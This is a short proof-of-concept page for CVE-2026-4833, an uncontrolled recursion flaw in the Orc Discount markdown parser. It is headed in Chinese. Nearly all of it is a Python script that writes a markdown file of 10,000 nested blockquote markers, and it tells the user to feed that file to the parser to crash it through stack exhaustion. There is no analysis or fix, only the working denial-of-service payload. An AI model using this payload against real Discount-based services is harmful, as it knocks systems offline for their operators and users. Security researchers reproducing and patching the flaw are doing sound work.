CVE-2026-4833 Orc discount 无限制递归漏洞

import sys # PoC Generator for CVE-2026-4833 # Generates a deeply nested markdown file to trigger uncontrolled recursion def generate_exploit(depth=10000, output_file="exploit.md"): """ Creates a markdown file with deeply nested blockquotes. Discount's compile() function recurses on each level, leading to a stack overflow (crash). """ try: # Constructing the nested blockquote string # Markdown blockquotes are often represented by '>' characters payload = ">" * depth + " Crash Test" with open(output_file, "w", encoding="utf-8") as f: f.write(payload) print(f"[+] Exploit file generated: {output_file}") print(f"[+] Depth: {depth}") print("[*] Feed this file to the vulnerable Orc discount parser to trigger the crash.") except Exception as e: print(f"[-] Error generating file: {e}") if __name__ == "__main__": # Depth of 10000 should be sufficient to exhaust default stack limits generate_exploit(depth=10000)